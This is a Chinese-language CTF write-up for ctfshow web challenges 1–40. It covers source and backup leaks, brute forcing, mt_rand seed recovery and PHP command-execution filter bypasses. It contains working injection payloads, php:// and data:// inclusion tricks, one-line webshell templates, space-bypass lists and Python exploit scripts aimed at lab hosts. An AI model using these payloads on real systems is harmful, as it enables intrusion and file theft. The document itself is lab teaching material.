前言

菜鸡小白,日常练练web

正文

信息收集(1-20)

web1

页面没有任何内容,随手右键查看网站源码即可拿到 flag

web2

无法使用右键查看源代码,可以在 URL 前添加 view-source:查看源代码

1
2
3
4
5
6
7
8
<script type="text/javascript">
window.oncontextmenu = function(){return false};
//禁用鼠标右键
window.onselectstart = function(){return false};
//禁用页面选择
window.onkeydown = function(){if (event.keyCode==123){event.keyCode=0;event.returnValue=false;}};
</script>
//禁用F12键

web3

查看源码无果,尝试查看请求头与响应头,在响应头中看到了 flag。

提示(没思路的时候抓包看看),抓包没有有用信息,看看返回包

web4

题目提示robots:

robots协议(也称爬虫协议,机器人协议等)的全称是“网络爬虫排除协议”,网站通过robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,可能会有一些敏感路径在里面哦。另外规定只能小写且为 txt 文件

访问网站的 robots.txt 看到放置禁止爬取一个文件,描述为flag所在文件

我们访问放置 flag 的文件,看到 flag

web5

题目提示 phps 源码泄露,index.php 是当前页面,所以我们修改一下访问 index.phps

1
http://1b24977f-7280-490e-a21f-377af3512a46.challenge.ctf.show/index.phps

提示下载。我们下载后打开,即可看到 flag

web6

题目提示 “源码解压到当前目录,收工” 说明 www.zip 压缩包还放在站点下,也可以dirsearch扫描一下,我们构造 URL 访问

1
http://574a895f-82cb-4bad-b6a4-df14e4f73843.challenge.ctf.show/www.zip

下载,打开可以看到 fl000g.txt

但是这不是 flag,提交时显示错误,于是我们访问 fl000g.txt 得到真正的 flag ,这出题师傅坏得很[/dog]

1
http://574a895f-82cb-4bad-b6a4-df14e4f73843.challenge.ctf.show/fl000g.txt

web7

题目提示 “ 版本控制很重要,但不要部署到生产环境更重要 ”

版本控制系统最常用的开源免费的就是 git,这题可能是有关 git 泄露问题

在运行 git init 初始化代码库的时候,会在当前目录下面产生一个.git 的隐藏目录,大家可以看看自己本地仓的文件里是不是有,它用来记录代码的变更记录等等。
在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。

于是访问 .git 构造 URL

1
http://5fc191d6-fc10-4e6b-8dd7-8257ad22c140.challenge.ctf.show/.git

很巧就出了 flag

web8

提示和 web7 一样,但使用同样的方式是行不通了。查阅资料有关 版本控制系统 的发现还有 SVN 源码泄露的漏洞,

资料显示:
在使用SVN(subversion)管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得我们可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。利用此漏洞,可以下载整套网站的源代码。

与 git 相似,我们访问 .svn 构造 URL

1
http://f135f114-0527-457c-871d-0aec223a5913.challenge.ctf.show/.svn/

web9

题目提示 “ 使用vim 编辑时意外退出” ,所以是 vim 造成的泄露。

资料显示:
vim是一款编辑工具,当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会在目录下生成一个备份文件,格式为 .文件名.swp,这个文件是一个临时交换文件,用来备份缓冲区中的内容。意思就是使用vim 编辑 意外退出会产生临时文件

需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的。

题目说编辑网页,应该是网站首页,所以我们访问文件 index.php.swp 构造 URL

1
http://872954f8-ed97-4e44-96b3-b6333548bd28.challenge.ctf.show/index.php.swp

下载文件,打开即可看到 flag

web10

题目提示 ”cookie“ 所以我们查看本地存储的 cookie,在包的文件头也可以看到cookie值

进行一下 URL 解码,拿到 flag

web11

题目提示 “域名其实也可以隐藏信息,比如 ctfshow.com 就隐藏了一条信息” 和域名有关的信息收集

我们对该域名进行DNS检测 ,可用阿里云查询链接:https://zijian.aliyun.com/或利用其他在线域名 DNS 解析查询http://www.jsons.cn/nslookup/

web12

题目提示“有时候网站上的公开信息,就是管理员常用密码” 可能与管理员有关

查看是否有路径可拿,访问 robots.txt,也可以扫描,直接URL输入敏感路径都可以 ,发现存在管理员的登录目录admin,访问,但需要账号密码。

根据提示,密码应该就在此网站公开,找到页脚,有一串数字,试试。

登录得到 flag

web13

题目提示 “技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码”

查找页面的可疑的文档,又是在页脚发现一个文件超链接

打开后发现是一个使用文档,有后台登录地址及身份

直接访问显示错误,我们将 your-domain ,就是我们的网址,改为我们题目的链接,构造 URL ,访问

1
http://855583d1-b17f-4687-9201-361a2c8dfedb.challenge.ctf.show/system1103/login.php

登陆成功后即可看到 flag

web14

题目提示 “有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人”

所以我们直接访问 editor ,发现进入到了一个编辑界面 ,在编辑界面的这 3 个按钮中可以发现一个 文件空间

点击文件空间可以发现可以进行 目录遍历

寻找一番,发现 flag 在 var/www/html/nothinghere/fl000g.txt 下,于是构造 URL 访问 ,得到 flag

1
http://1bef8e6b-a152-4327-a454-c78e8bb52230.challenge.ctf.show/nothinghere/fl000g.txt

web15

题目提示 “公开的信息比如邮箱,可能造成信息泄露,产生严重后果” 在页脚发现一个邮箱,暂时还不知道思路

在 URL 尝试访问 admin,发现可以

不知道账号密码,尝试 用户为 1 显示用户名错误,尝试 用户为 admin 显示密码错误,所以 admin账户存在

我们点击忘记密码,发现有密保 “我的所在地是哪个城市?”

这可把我整蒙了。这和邮箱有什么关系?? 随后发觉这是个QQ邮箱,于是搜索该QQ号,发现城市名是 西安

重置密码成功

然后我们就可以开开心心登陆后台了,拿到 flag

web16

题目提示 “对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露” 所以跟探针有关

资料显示:
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。是一个查看服务器信息的工具。
比如查看服务器支持什么,不支持什么,空间速度等等状况!

本题与探针有关,尝试访问 tz.php 构造 URL

1
http://9ef070e8-9da7-4f0e-b4f6-9f49f0cf58f0.challenge.ctf.show/tz.php

点击 PHPINFO

在页面内寻找 flag

web17

题目提示 查找 ctfer.com 的真实 IP

使用 fofa 查找即可

web18

打开本关卡是一个小游戏,查看它的 JS 代码,当分数高大于100时会输出一串东西

将编码拿去Unicode解码一下

根据 “你赢了,去幺幺零点皮爱吃皮看看”提示,访问 110.php 构造 URL

1
http://c942730e-776b-45cd-bcd4-573d4368b08e.challenge.ctf.show/110.php

web19

题目提示 “密钥什么的,就不要放在前端了”

查看源码发现一些信息,显示如果 post 请求满足

1
username=admin&pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

就能打印出 flag

于是构造 post 请求,拿到 flag

web20

题目提示“mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了” 跟mdb文件泄露有关

搜索资料过后发现: 直接查看 URL 路径添加 /db/db.mdb

1
http://ad92e72a-2c61-4ae7-a0d1-e3b4761affbc.challenge.ctf.show/db/db.mdb

下载文件通过 txt 打开,搜索 flag

web17(新)

题目提示sql备份文件可能泄密,扫描发现有 /backup.sql ,构造url访问

1
http://7e629e89-4feb-43e1-82eb-a274449bf606.challenge.ctf.show/backup.sql

得到一个sql备份文件

爆破(21-28)

web21

题目最开始提供了一个dic.zip,下载下来,里面是字典。页面显示账号密码登录,随便填写然后抓个包看看,这里是我们输入的账号密码,base64加密的,这是tomcat密码的格式,格式是”用户名”:”密码”,小知识。

我们使用custom iterator(自定义迭代器)进行爆破,访问详细了解该模块tomcat 认证爆破之custom iterator使用

发送到intruder模块,我们要设置三个位置(position有三处),第一个位置为admin,第二处为:,第三处为密码

然后我们要对整个payload进行base64加密并去除url对这些符号的编码

最后就是attack进行爆破了

web22

爆破子域名,访问这些域名,遗憾的是没有找到flag,失效了,填入题目的帮助过关

web23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>
/
//代码概括为传入token,经过md5加密后,第1位=第14位并且第14位=第17位,然后(第1位+第14位+第17位)÷第1位=第31位
#注意:计算机语言中计数是从第0位开始的,如:abcd的第0位是a

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/**
* Author:mtrleed
*/
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";

for($i = 0;$i< 36;$i++)
{
$token = md5($dict[$i]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1))
{
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1)))
{
echo ("加密后的md5值为:".$token)."\n";
echo ("解密后的值为:".$dict[$i]);
}
else{
echo("没有匹配");
}
}


}
//token只有一位时匹配不到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/**
* Author:mtrleed
*/
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";

for($i = 0;$i< 36;$i++)
{
for($k = 0;$k< 36;$k++)
{
for($j = 0;$j<36;$j++)
{
$token = md5($dict[$i].$dict[$k].$dict[$j]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1))
{
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1)))
{
echo ("加密后的md5值为:".$token)."\n";
echo ("解密后的值为:".$dict[$i].$dict[$k].$dict[$j]);
}
}
}
}
}
//两位或三位字符串都可以找到符合的,在往上不再测试

web24

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

?>

可以看到这是一个生成伪随机数的,mt_srand(372619038)播种器的种子(seed)是定的,那么mt_rand()随机数生成器生成的数也是定了的,我们逆着看代码,如果$r的值等于生成的伪随机数,就会得到flag,所以我们把伪随机数打印出来赋值给$r不就好了嘛

1
2
3
4
5
<?php
mt_srand(372619038);
$R=intval(mt_rand());
echo $R;
?>

构造url拿到flag

web25

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

这一题没有给种子,那怎么办。我们令r=0,这时$rand = intval($r)-intval(mt_rand())就相当于$rand = 0-intval(mt_rand()),那么$rand = -mt_rand()=652617752

mt_rand()的值出来了,我们要逆推出种子,使用工具php_mt_seed-master,工具地址:https://github.com/Al1ex/php_mt_seed

得到工具包之后我们在php_mt_seed-4.0下make然后回车,编译出php_mt_seed文件,然后就可以使用了

1
./php_mt_seed 需要逆推的随机数

可以看到这里逆推出了4个种子,我们无法确定,需要一个一个试。

选择4个种子其一播种,生成随机数然后相加作为’token’值

意思是当rand等于0时,若token的值等于mt_rand()函数第二次和第三次产生的随机数之和时,打印出flag,先看看什么情况下rand=0呢?就是我们传入的r的值等于mt_rand()产生的第一个随机数时

我们使用最后一个种子开始

所以开始构造
第一个,构造?r=652617752,使得$rang=0,满足if((!$rand)),进入下一层if判断token的值
第二个,构造cookie头里的token=1687873607

web26

看着是在安装数据库

在我们点击确认安装后,没什么反应,查看源码,有文件checkdb.php检验,这样构造请求可以登录,其实就是用post的方式带着上面的登录信息,只不过我们如果访问文件checkdb.php,参数可以为空

web27

看到的是一个正方cms

点击查看录取名单和学生学籍信息查询系统

有个人信息,但是身份证号缺少了出生年月日,尝试爆破。注意日期格式要yyyyMMdd,月份要大小才能从01开始

爆破完成

将这段Unicode编码解码一下

我们尝试去登录

web28

页面什么也没有,但是url应该是入手点,很诡异,尝试目录爆破

两级目录都使用0-100

爆破出了flag

命令执行(29-124)

区分命令执行和代码执行 代码执行漏洞和命令执行漏洞.html

最经典的eval和system对比:

eval类型函数是代码执行而不是命令执行(一句话木马),eval函数里必须是一个符合php语法的语句,如果语句结尾没有分号会报错:eval()’d code

system类型函数是命令执行而不是代码执行

1
2
3
4
<?php
eval("echo 1+1;"); //2
system("echo 1+1;"); //1+1;
?>
1
2
3
4
5
<?php
$num=1;
eval("\$a = $num;"); //有效,$a=1
system("\$b = $num;"); //无效,$b=NULL
?>
1
2
3
4
5
<?php
eval("phpinfo();"); //phpinfo()被执行
system("phpinfo()"); //phpinfo()不被执行
?>

1
2
3
4
<?php
system("whoami"); //whoami命令被执行
eval("whoami"); //whoami命令不被执行
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
代码执行:
1-eval
<?php eval($_POST["cmd"]) ?>

2-assert
<?php assert($_POST["cmd"]) ?>

3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();

5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
命令执行:
1-system
<?php system($_POST["cmd"]);?>

2-passthru
<?php passthru($_POST["cmd"]);?>

3-exec
<?php echo exec($_POST["cmd"]);?>

4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

7-``
<?php echo `whoami`?>

8-
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami

命令执行漏洞主要是由system、exec、shell_exec,eval(报漏洞的时候不会将代码执行和命令执行分的那么清楚)等函数能把用户输入的内容当作是命令来执,反引号一般的作用是与system类似,都是把内容作为命令来执行。不过在这些命令执行函数里面,只有system是有回显的,其他的函数都需要搭配着echo来使用

web29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

以参数c传输值,如果不能匹配到flag(不区分大小写)就使用eval函数执行传输的值

先ls查看一下有什么文件

直接读取是不行的,尝试绕过,绕过flag.php的方法很多,这里使用*正则匹配的绕过方式绕过,更多的绕过方式后面也会提到

tac是查看代码的命令,与cat类似,是cat的反向显示,从最后一行开始显示,不知道为什么cat在这里用不了(其实是在源码里)

1
payload:?c=system("tac fla*.php");

web30

1
2
3
4
5
6
7
8
9
10
11
12
13
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
过滤了关键字

可以使用echo或print直接输出,或者类似system的passthru等函数代替。

查看文件

1
?c=echo `ls`;//加反引号,只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用

1
2
3
payload:
?c=echo `tac fla*.ph*`; //加反引号
?c=passthru("tac fla*.ph*"); //替代system

web31

1
2
3
4
5
6
7
8
9
10
11
12
13
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
过滤了点,空格,还有单引号

空格使用URL编码的%20绕过失败,使用%09可以???%09是tab的url编码,需要有php环境下使用

1
2
payload:?c=echo%09`tac%09ls`;
?c=echo%09`tac%09fla*`;

写个python脚本也差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: start.py
# time: 2023/4/6 12:04
import requests
import re

url="http://c722604f-4d6d-49a1-b949-0abbccbd87b2.challenge.ctf.show/"
shell_url = url +"?c=echo%09`tac%09fla*`;"
res = requests.get(url=shell_url)
flag = re.search("(ctfshow{.*?})",res.text)
flag = flag.group(1)#(1)表示上面的第一个正则表达式的那一层括号,但是只有一个,所以不写1也一样
print(flag)

空格绕过方法还有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
URL编码特殊字符 :
%20 :普通空格
%09 :tab键(水平)
%0a :换行
%0c :新的一页
%0d :return功能
%0b :tab键(垂直)
%a0 :空格

$IFS符 :
$IFS$
$IFS$1
$IFS$9
${IFS}$9 :$进行截断,9为当前shell进程的第九个参数,始终为空字符串
${IFS} :在linux下,${IFS}是分隔符的意思

重定向 :
<
<>

web32

1
2
3
4
5
6
7
8
9
10
11
12
13
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
过滤 . 空格 单引号 反引号 分号 括号

使用include函数来读,因为带有php的语句是经过a参数传入的,所以检测不到

1
2
3
4
5
payload:?c=include$_POST[a]?>
post:a=php://filter/read=convert.base64-encode/resource=flag.php

如果过滤不严格,也可以GET:?c=include($_GET['url']);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
在这里我们去掉被过滤的字符:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web32.py
# time: 2023/4/8 14:23
import requests #web操作库
import base64
import re #正则表达式库
url = "http://2a971b99-6f8f-4b01-a12e-cc99f68e0279.challenge.ctf.show/"
shell_url = url+"?c=include$_POST[a]?>"
data = {
'a':'php://filter/read=convert.base64-encode/resource=flag.php'
}
res = requests.post(url=shell_url,data=data)
flag = base64.b64decode(res.text) #base64解码,flag数据类型应该是字节流
#flag =re.search("(ctfshow{.*?})",flag) #意外类型:(str, bytes),字符串和字节流不能混用,所以我们将flag字节流编码一下
flag = re.search("(ctfshow{.*?})",bytes.decode(flag)) #bytes.decode()以指定的编码格式解码bytes对象。默认编码为'utf-8'
flag = flag.group(1)
print(flag)

web33

1
2
3
4
5
6
7
8
9
10
11
12
13
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
多过滤一个双引号

继续使用上一关的payload

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web33.py
# time: 2023/4/8 17:16
import base64
import requests
import re

url = "http://e5362d17-d863-4226-ba4f-03dcb95b7135.challenge.ctf.show/"
shell_url = url+"?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php"
res = requests.get(url=shell_url)
flag = re.search("(ctfshow{.*})",bytes.decode(base64.b64decode(res.text))) #.任意字符,*贪婪模式,?非贪婪模式
flag = flag.group(1)
print(flag)

web34

1
2
3
4
5
6
7
8
9
10
11
12
13
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
多过滤了冒号,使用前面的payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

base64解码一下

web35

1
2
3
4
5
6
7
8
9
10
11
12
源码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
多过滤< =,继续使用上把payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
8
9
10
源码:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}
多过滤了数字,不影响,继续使用上把payload
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
源码:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}
?>
与前面不一样咯,使用了include()函数执行了,文件包含,我们只要绕过"/flag/i"就行
PHP伪协议:
file:// --访问本地文件系统
http:// --访问HTTP(s)网址
ftp:// --访问FTP(s)URLS
php:// --访问各个输入/输出流(i/o streams)
zlib:// --压缩流
data:// --数据(RFC 2397 )
glob:// --查找匹配的文件路径模式
phar:// --PHP归档
ssh2:// --Secure Shell2
rar:// --RAR
ogg:// --音频流
expect:// --处理交互式的流

[文件包含漏洞 - FreeBuf](离线网页/Web安全实战系列:文件包含漏洞 - FreeBuf网络安全行业门户 (2023_4_8 18_25_47).html)

[php伪协议以及死亡绕过 - FreeBuf网络安全行业门户](离线网页\探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户 (2023_4_8 18_32_40).html)

本题我们使用data://伪协议

1
?c=data://text/plain,<?=system("ls");?>

1
?c=data://text/plain,<?=system("tac fla''g.ph''p");?> //两个单引号可以截断

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: web37.py
# time: 2023/4/8 17:41
import requests
import re
url = "http://b182a99b-7f2c-4d05-adfc-c26669fa5528.challenge.ctf.show/"
shell_url = url +"?c=data://text/plain,<?=system(\"tac fla\'g.ph\'p\");?>" #加反斜杠为了防止我们的引号被解析,并且python中引号最好按级嵌套,比如" '' " ,双引号里面放单引号,不然容易出错
res = requests.get(shell_url)
flag = re.search("(ctfshow{.*?})",res.text)
flag = flag.group(1)
print(flag)

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
源码:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
过滤了php,但是我们使用短标签,不带php关键字,继续使用上把payload,<?php?>长标签,<??>短标签
1
?c=data:text/plain,<?=system("tac fla*");?>

web39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
源码:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
过滤减少了,但是源码显示include($c.".php"),$c连接了.php,强制给我们的代码添加.php后缀,我们上把的代码有短标签<??>闭合,所以最后也是<??>.php不影响代码执行
1
?c=data:text/plain,<?=system("tac fla''g.ph''p");?>  //data:text/plain相当于执行了php代码了

web40(无参rce)

1
2
3
4
5
6
7
8
9
10
11
12
源码:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
又回到了eval函数执行命令,但是过滤了很多字符,又但是没有过滤因为的括号()。我们可以使用不带参数的函数来读取文件,就是无参数rce。无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

[无参数文件读取 - 博客园](离线网页\无参数文件读取 - NPFS - 博客园 (2023_4_9 00_34_36).html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
  	一些操作:
getcwd():取得当前工作目录,成功则返回当前工作目录
dirname():返回路径中的目录部分,返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录
scandir():列出指定路径中的文件和目录。scandir('.')表示当前目录,print_r(scandir('.')); 则打印查看当前目录下的所有文件名
current():函数返回数组中的当前元素(单元),默认取第一个值,pos()是current()的别名,它俩是一个东西
localeconv():函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一个点 `.`。所以我们current(localeconv())就是表示一个点`.`

数组操作
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() :将内部指针指向数组中的第一个元素,并输出
each() :返回当前元素的键名和键值,并将内部指针向前移动
array_reverse() : 以相反的元素顺序返回数组

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
用法:
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

读文件
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
常用:
show_source() : 对文件进行语法高亮显示。
readfile() : 输出一个文件。
highlight_file() : 对文件进行语法高亮显示。
file_get_contents() : 把整个文件读入一个字符串中。
readgzfile() : 可用于读取非 gzip 格式的文件


打印函数
echo,print,printf 可以打印变量内容,但不能显示数组及系统超级变量数组;
print_r 和 var_dump 不仅可以打印数组、标量变量,还可以打印对象的内容;
var_dump 语句不仅能打印变量、数组内容,还可以显示布尔变量和资源(resource)的内容;
var_export 函数返回关于传递给该函数的变量的结构信息,和 var_dump()函数类似,不同的是其返回的内容是合法的php代码。

现在我们打印一下我们当前目录:

1
?c=print_r(scandir(current(localeconv())));

读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组

1
2
3
4
5
?c=show_source(next(array_reverse(scandir(getcwd()))));
或者:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
或者:
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

知识点:scandir()

文件读取

查看根目录
1
print_r(scandir("/"));
查看当前目录文件名
1
print_r(scandir(current(localeconv())));
读取当前目录文件
1
2
3
4
5
6
7
8
9
10
11
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录文件名
1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
1
2
3
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
